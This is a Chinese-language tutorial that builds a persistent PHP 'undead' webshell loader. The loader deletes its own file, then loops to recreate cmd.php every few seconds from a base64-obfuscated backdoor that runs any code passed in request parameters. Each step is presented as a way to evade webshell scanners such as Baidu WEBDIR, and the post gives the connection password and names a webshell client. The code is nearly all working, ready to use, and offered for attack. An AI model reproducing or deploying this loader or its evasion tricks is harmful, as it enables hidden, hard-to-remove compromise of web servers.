构造器

前面的文章提到了免杀PHP后门木马,将代码稍加改造成一个不死马

目录

一般的不死马构造如下

<?php 
ignore_user_abort(true);//忽略与客户端的连接断开,继续执行脚本
set_time_limit(0);//设置脚本执行不限时
$filename = 'cmd.php';//子马文件名
unlink(__FILE__);//首次执行删除自身
$interval = 5;//生成子马间隔时间
do {
    if(!(file_exists($filename))) {//判断子马是否存在,不存在则执行创建
        $file = fopen($filename, "w");
        $txt = "这里是生成的不死马的内容";
        fwrite($file, $txt);
        fclose($file);
    }
    sleep($interval);//每次执行完等待时间
} while (true);
?>

这种构造器因删除自身和循环写入被列为敏感操作,在百度WEBDIR报毒

选择使用新的构造器绕过

<?php
ignore_user_abort(true);//忽略与客户端的连接断开,继续执行脚本
set_time_limit(0);//设置脚本执行不限时
$filename = 'cmd.php';//子马文件名
foreach (explode('/',$_SERVER['PHP_SELF'])as$key=>$value){//遍历反转的路径数组
    if(strpos($value,'.php')){//找到自身文件名
        unlink($value);break;//删除自身并结束循环
    }
}
$interval = 5;//生成子马间隔时间
do {
    if(!(file_exists($filename))) {//判断子马是否存在,不存在则执行创建
        $file = fopen($filename, "w");
        $txt = "这里是生成的不死马的内容";
        $fw = 'fwrite';
        $fw($file, $txt);//使用变量函数执行写入文件
        fclose($file);
    }
    sleep($interval);//每次执行完等待时间
} while (true);

对敏感操作进行处理,成功绕过检测

将免杀PHP后门木马进行base64加密处理

将加密完成后的密文写入到构造器中

<?php
ignore_user_abort(true);//忽略与客户端的连接断开,继续执行脚本
set_time_limit(0);//设置脚本执行不限时
$filename = 'cmd.php';//子马文件名
foreach (explode('/',$_SERVER['PHP_SELF'])as$key=>$value){//遍历反转的路径数组
    if(strpos($value,'.php')){//找到自身文件名
        unlink($value);break;//删除自身并结束循环
    }
}
$interval = 5;//生成子马间隔时间
do {
    if(!(file_exists($filename))) {//判断子马是否存在,不存在则执行创建
        $file = fopen($filename, "w");
        $txt = "DQo8P3BocA0KZXJyb3JfcmVwb3J0aW5nKDApOw0KZnVuY3Rpb24gYXNzZXJ0c3RyKCl7DQogICAgJGRhdGFiYXNlcyA9IGFycmF5KCIxIiwgIjEiKTsNCiAgICAkY21kPWdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsiY21kIl0pLiRfR0VUWyJrZXkiXTokX1JFUVVFU1RbImNtZCJdLiRfR0VUWyJrZXkiXTsNCiAgICAkY21kPWJhc2U2NF9kZWNvZGUoImNtVjAiLnN1YnN0cihiYXNlNjRfZW5jb2RlKCJyZXR1cm4gMTt9Ii4kY21kKSw0KSk7DQogICAgJGNyZWF0ZT1iYXNlNjRfZGVjb2RlKHN1YnN0cigiQUMzWTNKbFlYUmxYMloxYm1OMGFXOXUiLDMpKTsNCiAgICAkdWFzbz1iYXNlNjRfZGVjb2RlKHN1YnN0cigiQUMzZFdGemIzSjAiLDMpKTsNCiAgICByZXR1cm4gJHVhc28oJGRhdGFiYXNlcywkY3JlYXRlKCckYSwgJGInLCRjbWQpKTsNCn0NCmZ1bmN0aW9uIHJ1bigpew0KICAgIHJldHVybiBhc3NlcnRzdHIoKTsNCn0NCnJ1bigpOw0KZGllKCk7DQo=";
        $fw = 'fwrite';
        $fw($file, $txt);//使用变量函数执行写入文件
        fclose($file);
    }
    sleep($interval);//每次执行完等待时间
} while (true);

将密文前三位进行分割,拼接,解密操作

<?php
ignore_user_abort(true);//忽略与客户端的连接断开,继续执行脚本
set_time_limit(0);//设置脚本执行不限时
$filename = 'cmd.php';//子马文件名
foreach (explode('/',$_SERVER['PHP_SELF'])as$key=>$value){//遍历反转的路径数组
    if(strpos($value,'.php')){//找到自身文件名
        unlink($value);break;//删除自身并结束循环
    }
}
$interval = 5;//生成子马间隔时间
do {
    if(!(file_exists($filename))) {//判断子马是否存在,不存在则执行创建
        $file = fopen($filename, "w");
        $txt = "8P3BocA0KZXJyb3JfcmVwb3J0aW5nKDApOw0KZnVuY3Rpb24gYXNzZXJ0c3RyKCl7DQogICAgJGRhdGFiYXNlcyA9IGFycmF5KCIxIiwgIjEiKTsNCiAgICAkY21kPWdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsiY21kIl0pLiRfR0VUWyJrZXkiXTokX1JFUVVFU1RbImNtZCJdLiRfR0VUWyJrZXkiXTsNCiAgICAkY21kPWJhc2U2NF9kZWNvZGUoImNtVjAiLnN1YnN0cihiYXNlNjRfZW5jb2RlKCJyZXR1cm4gMTt9Ii4kY21kKSw0KSk7DQogICAgJGNyZWF0ZT1iYXNlNjRfZGVjb2RlKHN1YnN0cigiQUMzWTNKbFlYUmxYMloxYm1OMGFXOXUiLDMpKTsNCiAgICAkdWFzbz1iYXNlNjRfZGVjb2RlKHN1YnN0cigiQUMzZFdGemIzSjAiLDMpKTsNCiAgICByZXR1cm4gJHVhc28oJGRhdGFiYXNlcywkY3JlYXRlKCckYSwgJGInLCRjbWQpKTsNCn0NCmZ1bmN0aW9uIHJ1bigpew0KICAgIHJldHVybiBhc3NlcnRzdHIoKTsNCn0NCnJ1bigpOw0KZGllKCk7DQo=";
        $txt = base64_decode("DQo".$txt);
        $fw = 'fwrite';
        $fw($file, $txt);//使用变量函数执行写入文件
        fclose($file);
    }
    sleep($interval);//每次执行完等待时间
} while (true);

此代码在运行时首先会删除自身然后在进程中循环创建免杀子马,因为子马文件名为cmd.php,所以在运行之后会出现一个删不掉的cmd.php文件,这个文件就是我们可以进行利用的webshell,连接密码为

?cmd=phpinfo();&key=/*

执行效果:

首先访问不死马,然后通过生成的cmd.php子马执行任意代码

使用蚁剑连接

免杀效果: